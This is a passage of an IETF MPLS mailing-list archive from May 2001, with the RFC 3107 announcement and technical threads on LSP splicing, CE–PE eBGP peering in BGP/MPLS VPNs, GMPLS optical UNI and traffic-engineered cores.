	Sat, 19 May 2001 11:09:11 GMT
Received: by mail-control.mail.uu.net 
	id QQkprg21493
	for mpls-outgoing; Sat, 19 May 2001 11:08:33 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkprg21485
	for <mpls@mail-control.mail.uu.net>; Sat, 19 May 2001 11:08:21 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkprg13183
	for <mpls@uu.net>; Sat, 19 May 2001 11:08:01 GMT
Received: from mill.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mill.cisco.com [161.44.131.47])
	id QQkprg04150
	for <mpls@uu.net>; Sat, 19 May 2001 11:08:01 GMT
Received: (erosen@localhost) by mill.cisco.com (8.8.5-Cisco.1/8.6.5) id HAA01947 for mpls@uu.net; Sat, 19 May 2001 07:08:01 -0400 (EDT)
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkprg21447
	for <mpls@mail-control.mail.uu.net>; Sat, 19 May 2001 11:07:23 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkprg11597
	for <mpls@uu.net>; Sat, 19 May 2001 11:07:13 GMT
Received: from china.com by cmr2.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: TCE-E-7-182-12.bta.net.cn [202.106.182.12])
	id QQkprg03657
	for <mpls@uu.net>; Sat, 19 May 2001 11:07:11 GMT
Received: from china.com([10.1.7.101]) by china.com(JetMail 2.5.3.0)
	with SMTP id jm143b068acf; Sat, 19 May 2001 11:07:01 -0000
Received: from loki.ietf.org([132.151.1.177]) by china.com(JetMail 2.5.3.0)
	with SMTP id jm353b05a033; Fri, 18 May 2001 18:45:50 -0000
Received: (from adm@localhost)
	by loki.ietf.org (8.9.1b+Sun/8.9.1) id OAA11604
	for ietf-123-outbound.02@ietf.org; Fri, 18 May 2001 14:35:00 -0400 (EDT)
Received: from ietf.org (odin.ietf.org [10.27.2.28])
	by loki.ietf.org (8.9.1b+Sun/8.9.1) with ESMTP id OAA11536
	for <all-ietf@loki.ietf.org>; Fri, 18 May 2001 14:26:05 -0400 (EDT)
Received: from boreas.isi.edu (boreas.isi.edu [128.9.160.161])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA10803
	for <all-ietf@ietf.org>; Fri, 18 May 2001 14:26:01 -0400 (EDT)
Received: from ISI.EDU (jet.isi.edu [128.9.160.87])
	by boreas.isi.edu (8.11.2/8.11.2) with ESMTP id f4IIQ4G17239;
	Fri, 18 May 2001 11:26:04 -0700 (PDT)
Message-Id: <200105181826.f4IIQ4G17239@boreas.isi.edu>
To: IETF-Announce:;
Subject: RFC 3107 on Carrying Label Information in BGP-4
Cc: rfc-ed@ISI.EDU, mpls@UU.NET
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary=NextPart
Date: Fri, 18 May 2001 11:26:04 -0700
From: RFC Editor <rfc-ed@ISI.EDU>
Sender: owner-mpls@UU.NET
Precedence: bulk


--NextPart


A new Request for Comments is now available in online RFC libraries.


        RFC 3107

        Title:	    Carrying Label Information in BGP-4
        Author(s):  Y. Rekhter, E. Rosen
        Status:     Standards Track
	Date:       May 2001
        Mailbox:    yakov@juniper.net, erosen@cisco.com
        Pages:      8
        Characters: 16442
        Updates/Obsoletes/SeeAlso:    None

        I-D Tag:    draft-ietf-mpls-bgp4-mpls-05.txt

        URL:        ftp://ftp.rfc-editor.org/in-notes/rfc3107.txt


This document specifies the way in which the label mapping information
for a particular route is piggybacked in the same Border Gateway
Protocol (BGP) Update message that is used to distribute the route
itself.  When BGP is used to distribute a particular route, it can
be also be used to distribute a Multiprotocol Label Switching (MPLS)
label which is mapped to that route.

This document is a product of the Multiprotocol Label Switching
Working Group of the IETF.

This is now a Proposed Standard Protocol.

This document specifies an Internet standards track protocol for
the Internet community, and requests discussion and suggestions
for improvements.  Please refer to the current edition of the
"Internet Official Protocol Standards" (STD 1) for the
standardization state and status of this protocol.  Distribution
of this memo is unlimited.

This announcement is sent to the IETF list and the RFC-DIST list.
Requests to be added to or deleted from the IETF distribution list
should be sent to IETF-REQUEST@IETF.ORG.  Requests to be
added to or deleted from the RFC-DIST distribution list should
be sent to RFC-DIST-REQUEST@RFC-EDITOR.ORG.

Details on obtaining RFCs via FTP or EMAIL may be obtained by sending
an EMAIL message to rfc-info@RFC-EDITOR.ORG with the message body 
help: ways_to_get_rfcs.  For example:

        To: rfc-info@RFC-EDITOR.ORG
        Subject: getting rfcs

        help: ways_to_get_rfcs

Requests for special distribution should be addressed to either the
author of the RFC in question, or to RFC-Manager@RFC-EDITOR.ORG.  Unless
specifically noted otherwise on the RFC itself, all RFCs are for
unlimited distribution.echo 
Submissions for Requests for Comments should be sent to
RFC-EDITOR@RFC-EDITOR.ORG.  Please consult RFC 2223, Instructions to RFC
Authors, for further information.


Joyce K. Reynolds and Sandy Ginoza
USC/Information Sciences Institute

...

Below is the data which will enable a MIME compliant Mail Reader 
implementation to automatically retrieve the ASCII version
of the RFCs.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type:  Message/External-body;
        access-type="mail-server";
        server="RFC-INFO@RFC-EDITOR.ORG"

Content-Type: text/plain
Content-ID: <010518112343.RFC@RFC-EDITOR.ORG>

RETRIEVE: rfc
DOC-ID: rfc3107

--OtherAccess
Content-Type:   Message/External-body;
        name="rfc3107.txt";
        site="ftp.isi.edu";
        access-type="anon-ftp";
        directory="in-notes"

Content-Type: text/plain
Content-ID: <010518112343.RFC@RFC-EDITOR.ORG>

--OtherAccess--
--NextPart--



From owner-mpls@UU.NET  Sat May 19 07:54:15 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id HAA11347
	for <mpls-archive@lists.ietf.org>; Sat, 19 May 2001 07:54:15 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkprj01726;
	Sat, 19 May 2001 11:53:36 GMT
Received: by mail-control.mail.uu.net 
	id QQkprj26293
	for mpls-outgoing; Sat, 19 May 2001 11:53:00 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkprj26274
	for <mpls@mail-control.mail.uu.net>; Sat, 19 May 2001 11:52:50 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkprj02271
	for <mpls@uu.net>; Sat, 19 May 2001 11:52:27 GMT
Received: from fsnt.future.futsoft.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [203.197.140.35])
	id QQkprj01489
	for <mpls@uu.net>; Sat, 19 May 2001 11:52:27 GMT
Received: from kailash.future.futsoft.com (unverified) by fsnt.future.futsoft.com
 (Content Technologies SMTPRS 2.0.15) with ESMTP id <B0000152146@fsnt.future.futsoft.com>;
 Sat, 19 May 2001 17:28:29 +0530
Received: from mohanvak (mohanvak.future.futsoft.com [10.20.6.31])
	by kailash.future.futsoft.com (8.11.0/8.11.0) with SMTP id f4JJqX317213;
	Sun, 20 May 2001 01:22:33 +0530
Received: by localhost with Microsoft MAPI; Fri, 19 May 2000 17:03:02 +1000
Message-Id: <01BFC1B4.17848CA0.mohanvak@future.futsoft.com>
From: Mohan Varma K <mohanvak@future.futsoft.com>
Reply-To: "mohanvak@future.futsoft.com" <mohanvak@future.futsoft.com>
To: "'Mohit Misra'" <MohitM@netbrahma.com>, "'mpls@uu.net'" <mpls@UU.NET>
Subject: RE: ER-HOP LSP ID
Date: Fri, 19 May 2000 17:03:01 +1000
Organization: FSPL
X-Mailer: Microsoft Internet E-mail/MAPI - 8.0.0.4211
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi,
This can be supported if we have VC merge mechanism where in 
the ATM LSR's will resolve the distinction of the traffic.
In Ethernet networks you need to do stacking rather than splicing
the tunnel.
But the reservation to be shared or not is of local policy.
thanks mohan
   
draft-ietf--mpls-cr-ldp-05.txt

Sec. 4.7.4

if an LSPID Hop is the last ER-HOP in an ER-TLV then the LSR may splice the
CR-LSP of the incoming label request to the CR-LSP that currently exists
with this LDPID.

The mechanism for lsp splicing is not very clear in this section. Is it
something like both the LSPs are merged at that point ?. In case they are
merged who do we keep their identities intact ?. We can use LSP ID though,
but for both of them incoming label would be same. Also what happens to the
resource reservations if both the LSPs are spliced together.
						thanx
								/Mohit



Mohit Misra
Netbrahma Technologies
www.netbrahma.com



From owner-mpls@UU.NET  Sat May 19 23:56:31 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id XAA20441
	for <mpls-archive@lists.ietf.org>; Sat, 19 May 2001 23:56:31 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkptv16204;
	Sun, 20 May 2001 03:55:47 GMT
Received: by mail-control.mail.uu.net 
	id QQkptv09063
	for mpls-outgoing; Sun, 20 May 2001 03:55:16 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkptv09045
	for <mpls@mail-control.mail.uu.net>; Sun, 20 May 2001 03:54:56 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkptv27085
	for <mpls@UU.NET>; Sun, 20 May 2001 03:54:09 GMT
Received: from web13103.mail.yahoo.com by cmr2.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: web13103.mail.yahoo.com [216.136.174.148])
	id QQkptv21767
	for <mpls@UU.NET>; Sun, 20 May 2001 03:54:09 GMT
Message-ID: <20010520035408.3599.qmail@web13103.mail.yahoo.com>
Received: from [63.42.66.220] by web13103.mail.yahoo.com; Sat, 19 May 2001 20:54:08 PDT
Date: Sat, 19 May 2001 20:54:08 -0700 (PDT)
From: Elwin Eliazer <elwinietf@yahoo.com>
Subject: RE: route exchange between CE and PE routers ...
To: alexander@marhold.at, pli@ambernetworks.com, mpls@UU.NET
In-Reply-To: <AFEPKBDEDEAGNIBJKNPJKEJKCJAA.alexander@marhold.at>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-mpls@UU.NET
Precedence: bulk

Thanks Alexander and Peng for the details.
Is it a must to have this CE loopback address to be
global? The concern that i have is when it can be
a local IP address.

regards,
Elwin.

--- Alexander Marhold <alexander@marhold.at> wrote:
> E-BGP is used in a VRF-specific context, which
> means:
> a) the route to teh neighbor is looked up in the
> VRF-specific routing table
> b) all prefixes received will gop into the
> vrf-specific BGP-table
> c) the BGP scan-task will synchronize this
> VRF-specific BGP table with the
> vrf-specific routing table
> d) the content of the vrf-specific BGP-table will be
> advertised by MP-BGP as
> VPNV4 route by prepending the RD defined for that
> vrf.
> 
> Therfore you
> a) should have the PE-CE link inside that vrf ("ip
> vrf forwarding
> <vrf-name>")
> b) you should either use the CE-link address as
> neighbor address
> OR
> define a loopback within that vrf
> specify the CE loopback as neighbor
> define neighbor x.x.x.x update-source loopback y
> define neighbor x.x.x.x ebgp-multihop 3
> 
> In case that you also need global e-BGP connectivity
> (additionally) between
> PE and CE
> you need to create a second Layer-3 virtual
> interface (physical, or
> subinterface or tunnel) and this one should not put
> into a vrf, and then you
> can connect via normal e-BGP to that CE
> 
> 
> regards
> 
> Alexander Marhold
> Senior Consultant
> PROIN
> 
> -----Original Message-----
> From: owner-mpls@UU.NET [mailto:owner-mpls@UU.NET]On
> Behalf Of Peng Li
> Sent: Saturday, May 19, 2001 12:26 AM
> To: 'Elwin Eliazer'; mpls@UU.NET
> Subject: RE: route exchange between CE and PE
> routers ...
> 
> 
> Hi elwin,
>   I think you can always create a static route for
> bgp neighbor address to
> setup bgp connection between PE and CE routers.  It
> doesn't matter CE is in
> a transit VPN or in a stub VPN.
> 
> cheers,
> peng
> 
> -----Original Message-----
> From: Elwin Eliazer [mailto:elwinietf@yahoo.com]
> Sent: Friday, May 18, 2001 2:42 PM
> To: mpls@UU.NET; ppvpn@zephion.net
> Subject: route exchange between CE and PE routers
> ...
> 
> 
> Hi,
> 
> RFC2547bis suggests the use of EBGP between
> CE and PE routers; In this case, how is the EBGP
> peering setup if the CE router is with a local
> (VPN) IP address?
> 
> Your response would be appreciated.
> 
> - Elwin.
> 
> 
> 
> =====
> -------
> Elwin Stelzer Eliazer
> Corona Networks
> -------
> 
> __________________________________________________
> Do You Yahoo!?
> Yahoo! Auctions - buy the things you want at great
> prices
> http://auctions.yahoo.com/
> 


=====
-------
Elwin Stelzer Eliazer
Corona Networks
-------

__________________________________________________
Do You Yahoo!?
Yahoo! Auctions - buy the things you want at great prices
http://auctions.yahoo.com/


From owner-mpls@UU.NET  Sun May 20 02:09:06 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id CAA01632
	for <mpls-archive@lists.ietf.org>; Sun, 20 May 2001 02:09:06 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpue24339;
	Sun, 20 May 2001 06:08:32 GMT
Received: by mail-control.mail.uu.net 
	id QQkpue16014
	for mpls-outgoing; Sun, 20 May 2001 06:07:57 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkpue15996
	for <mpls@mail-control.mail.uu.net>; Sun, 20 May 2001 06:07:46 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkpue23562
	for <mpls@UU.NET>; Sun, 20 May 2001 06:06:41 GMT
Received: from mail.marhold.at by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail.marhold.at [194.152.126.85])
	id QQkpue23821
	for <mpls@UU.NET>; Sun, 20 May 2001 06:06:40 GMT
Received: from AMARHOLD ([192.168.1.33]) by mail.marhold.at
          (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35)
          with SMTP id at; Sun, 20 May 2001 08:16:27 +0200
From: "Alexander Marhold" <alexander@marhold.at>
To: "Elwin Eliazer" <elwinietf@yahoo.com>, <mpls@UU.NET>
Subject: RE: route exchange between CE and PE routers ...
Date: Sun, 20 May 2001 08:06:46 +0200
Message-ID: <AFEPKBDEDEAGNIBJKNPJIEJNCJAA.alexander@marhold.at>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
In-Reply-To: <20010520035408.3599.qmail@web13103.mail.yahoo.com>
Importance: Normal
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

>Is it a must to have this CE loopback address to be
>global? The concern that i have is when it can be
>a local IP address.

No, the CE address is within the VPN (vrf) and therefore local
The PE has to have the neighbor y.y.y.y next-hop-self (on the MP-IBGP
connections)
in order to change the next-hop attribute to be globally reachable.
Otherwise you would see a next-hop-inaccessible on all other PEs.
So only the PE?s loopback address needs to be global, but this address is
also the address for the iBGP connection in the core.

regards
Alexander Marhold
PROIN




From owner-mpls@UU.NET  Sun May 20 12:19:29 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA11406
	for <mpls-archive@lists.ietf.org>; Sun, 20 May 2001 12:19:28 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpvt27931;
	Sun, 20 May 2001 16:18:39 GMT
Received: by mail-control.mail.uu.net 
	id QQkpvt14090
	for mpls-outgoing; Sun, 20 May 2001 16:18:06 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkpvt14080
	for <mpls@mail-control.mail.uu.net>; Sun, 20 May 2001 16:17:54 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkpvs19799
	for <mpls@uu.net>; Sun, 20 May 2001 16:14:38 GMT
Received: from mill.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mill.cisco.com [161.44.131.47])
	id QQkpvs07651
	for <mpls@uu.net>; Sun, 20 May 2001 16:14:37 GMT
Received: (erosen@localhost) by mill.cisco.com (8.8.5-Cisco.1/8.6.5) id MAA20895 for mpls@uu.net; Sun, 20 May 2001 12:14:37 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkpvs13115
	for <mpls@mail-control.mail.uu.net>; Sun, 20 May 2001 16:10:16 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkpvs09035
	for <mpls@uu.net>; Sun, 20 May 2001 16:09:00 GMT
Received: from zcars0m9.nortelnetworks.com by cmr2.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: h157s242a129n47.user.nortelnetworks.com [47.129.242.157])
	id QQkpvs22874
	for <mpls@uu.net>; Sun, 20 May 2001 16:09:00 GMT
Received: from zcars04f.ca.nortel.com by zcars0m9.nortelnetworks.com (SMI-8.6/SMI-SVR4)
	id MAA21599; Sun, 20 May 2001 12:08:53 -0400
Received: from zcard015.ca.nortel.com by zcars04f.ca.nortel.com;
          Sun, 20 May 2001 12:08:39 -0400
Received: by zcard015.ca.nortel.com with Internet Mail Service (5.5.2653.19) 
          id <K83J5JLD>; Sun, 20 May 2001 12:08:42 -0400
Message-ID: <03E3E0690542D211A1490000F80836F404B74787@zcard00f.ca.nortel.com>
From: "Gang Luo" <gluo@nortelnetworks.com>
To: "'mpls@uu.net'" <mpls@UU.NET>
Subject: What are the Key differences between GMPLS and GMPLS-based optic al 
         UNI?
Date: Sun, 20 May 2001 12:08:39 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01C0E147.21C2B530"
X-Orig: <gluo@americasm01.nt.com>
Sender: owner-mpls@UU.NET
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C0E147.21C2B530
Content-Type: text/plain

Hi,

Is there  a summary on the key differences between GMPLS and GMPLS-based
optical UNI (OUNI)?

I guess, one key difference is that OUNI is not symmetric (having client
side, and network side), but GMPLS is symmetric.

However, I tested two UNICs (UNI Client side) back-to-back on two Solaris
boxes, each UNIC views the other UNIC as UNIN. It works with no problem.
This implies that in the above configuration, each UNIC can be treated by
the other UNIC as UNIN.  It looks that UNIC and UNIN are very symmetric such
that the UNIC (or UNIN) can be used as UNIN (or UNIC) with little changes.

Does any body have a summary on the differences between OUNIC and OUNIN?  

Best regards.
Gang.


------_=_NextPart_001_01C0E147.21C2B530
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2654.59">
<TITLE>What are the  Key differences between GMPLS and GMPLS-based =
optical UNI?</TITLE>
</HEAD>
<BODY>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Arial">Hi,</FONT>
</P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Arial">Is there&nbsp; a =
summary on the key differences between GMPLS and GMPLS-based optical =
UNI (OUNI)?</FONT>
</P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Arial">I guess, one key =
difference is that OUNI is not symmetric (having client side, and =
network side), but GMPLS is symmetric.</FONT></P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Arial">However, I tested =
two</FONT><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Arial"> UNICs (UNI =
Client side) back-to-back on two Solaris boxes, each UNIC views the =
other UNIC as UNIN. It works with no problem.&nbsp; This implies that =
in the above configuration, each UNIC can be treated by the other UNIC =
as UNIN.&nbsp; It looks that UNIC and UNIN are very symmetric such that =
the UNIC (or UNIN) can be used as UNIN (or UNIC) with little =
changes.</FONT></P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Arial">Does any body have a =
summary on the differences between OUNIC and OUNIN?&nbsp; </FONT>
</P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Arial">Best regards.</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Arial">Gang.</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C0E147.21C2B530--



From owner-mpls@UU.NET  Sun May 20 14:48:23 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA12163
	for <mpls-archive@lists.ietf.org>; Sun, 20 May 2001 14:48:23 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpwd28921;
	Sun, 20 May 2001 18:48:05 GMT
Received: by mail-control.mail.uu.net 
	id QQkpwd03925
	for mpls-outgoing; Sun, 20 May 2001 18:47:31 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkpwd03920
	for <mpls@mail-control.mail.uu.net>; Sun, 20 May 2001 18:47:24 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkpwc21823
	for <mpls@uu.net>; Sun, 20 May 2001 18:44:03 GMT
Received: from mill.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mill.cisco.com [161.44.131.47])
	id QQkpwc26692
	for <mpls@uu.net>; Sun, 20 May 2001 18:44:03 GMT
Received: (erosen@localhost) by mill.cisco.com (8.8.5-Cisco.1/8.6.5) id OAA25765 for mpls@uu.net; Sun, 20 May 2001 14:44:02 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkpwc03404
	for <mpls@mail-control.mail.uu.net>; Sun, 20 May 2001 18:43:11 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkpwc17495
	for <mpls@UU.NET>; Sun, 20 May 2001 18:41:54 GMT
Received: from sj-msg-core-1.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-msg-core-1.cisco.com [171.71.163.11])
	id QQkpwc13987
	for <mpls@UU.NET>; Sun, 20 May 2001 18:41:54 GMT
Received: from mira-sjcm-3.cisco.com (mira-sjcm-3.cisco.com [171.69.24.15])
	by sj-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id f4KIfv905906;
	Sun, 20 May 2001 11:41:57 -0700 (PDT)
Received: from cisco.com (ams-vpdn-client-500.cisco.com [144.254.47.248])
	by mira-sjcm-3.cisco.com (Mirapoint)
	with ESMTP id ABK02175 (AUTH rraszuk);
	Sun, 20 May 2001 11:41:45 -0700 (PDT)
Message-ID: <3B080F7D.302FD314@cisco.com>
Date: Sun, 20 May 2001 11:39:57 -0700
From: Robert Raszuk <raszuk@cisco.com>
Reply-To: raszuk@cisco.com
Organization: Signature: http://www.employees.org/~raszuk/sig/
X-Mailer: Mozilla 4.76 [en]C-CCK-MCD   (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: King Man <kingman2001@hotmail.com>
CC: mpls@UU.NET
Subject: Re: Very basic question
References: <F232vjvxo6AmX3qrB0X00005017@hotmail.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit


Hi King,

> Does all IP traffic entering an MPLS network [at an LER] have to satisfy one
> or more explicitly configured filters before being forwarded to the
> destination ?

No.

> In other words, I would expect that the most common [and
> basic] way to deploy an MPLS network would be to use LDP [as an example] to
> distribute labels for reachable destinations and do L3 lookup at the edge of
> the MPLS cloud and forward using an LSP. This allows provider to acheive L2
> like forwarding efficiencies through the core for IP packets and requires no
> filters to be configured anywhere..

Exactly your are right. 

Everything only depends what is the purpose of using MPLS in your
network. The only thing which is worth noting that MPLS does not improve
your forwarding efficiencies significantly as opposed to regular IP
lookup forwarding. Modern lookup algorithms implemented in hardware work
at line rate with high speeds. See archives of this list for detail
discussions reg this topic :).

R.



From owner-mpls@UU.NET  Sun May 20 20:04:11 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA14348
	for <mpls-archive@lists.ietf.org>; Sun, 20 May 2001 20:04:10 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpwy17930;
	Mon, 21 May 2001 00:03:33 GMT
Received: by mail-control.mail.uu.net 
	id QQkpwy13819
	for mpls-outgoing; Mon, 21 May 2001 00:03:01 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkpwy13733
	for <mpls@mail-control.mail.uu.net>; Mon, 21 May 2001 00:02:40 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkpwy06237
	for <mpls@uu.net>; Mon, 21 May 2001 00:02:32 GMT
Received: from cerberus.oware.net by cmr2.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: 40327021.ptr.dia.nextlink.net [64.50.112.33])
	id QQkpwy09426
	for <mpls@uu.net>; Mon, 21 May 2001 00:02:31 GMT
Received: (qmail 20226 invoked from network); 20 May 2001 23:07:28 -0000
Received: from 40327002.ptr.dia.nextlink.net (HELO eureka) (64.50.112.2)
  by 40327021.ptr.dia.nextlink.net with SMTP; 20 May 2001 23:07:28 -0000
From: "Bala Subrahmanyam Venkata" <bsubrahm@doradosoftware.com>
To: <mpls-ops@mplsrc.com>
Cc: <mpls@UU.NET>
Subject: BGP/MPLS VPN over a TE'd  core..
Date: Sun, 20 May 2001 17:10:26 -0700
Message-ID: <NDBBKELCHKLNIGOMMOINMENACFAA.bsubrahm@doradosoftware.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Importance: Normal
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

All-

Are there any references for creating 'standard' BGP/MPLS VPNs over a
traffic engineered core ? I was reading through Juniper's doc on BGP/MPLS
VPN creation (the "MPLS Applications" guide on their website) but it does
not specify how I would engineer my core for a specific VPN (specifically,
is it possible to select a particular 'pre-created' LSP that I have with
explicit hops and certain service parameters for a given BGP/MPLS VPN ?) It
will be better if you can tell me if this is a valid requirement for an ISP.


TIA,

bala






From owner-mpls@UU.NET  Sun May 20 21:13:24 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id VAA14670
	for <mpls-archive@lists.ietf.org>; Sun, 20 May 2001 21:13:24 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
